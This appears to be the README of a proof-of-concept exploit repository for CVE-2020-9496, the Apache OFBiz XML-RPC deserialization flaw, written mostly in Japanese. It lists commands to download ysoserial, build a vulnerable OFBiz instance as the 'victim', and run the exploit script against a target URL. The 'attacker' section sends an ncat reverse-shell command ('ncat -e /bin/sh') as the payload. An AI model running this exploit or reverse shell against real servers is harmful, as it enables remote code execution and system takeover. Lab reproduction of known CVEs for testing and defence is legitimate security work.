ambalabanov/cve-2020-9496Apache OFBiz 17.12.03 における XML-RPC リクエストは、安全でない逆シリアル化およびクロスサイトスクリプティング（XSS）の問題に対して脆弱です。
XML-RPC リクエストは、Apache OFBiz 17.12.03 において、安全でないデシリアライゼーションおよびクロスサイトスクリプティングの問題に対して脆弱です。
$ pip install -r requirements.txt
$ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar
$ python cve-2020-9496.py --target [URL]
被害者
$ git clone https://gitbox.apache.org/repos/asf/ofbiz-framework.git ofbiz-framework
$ cd ofbiz-framework/
$ git checkout release17.12.01
$ sed -i 's/gradle-3.2.1-bin.zip/gradle-6.0-bin.zip/g' gradle/wrapper/gradle-wrapper.properties
$ sudo ./gradlew ofbiz
攻撃者
$ python cve-2020-9496.py --target https://127.0.0.1:8443
cmd> ncat -e /bin/sh 127.0.0.1 8888
[!] Send payload ...
[+] Done!
PoC
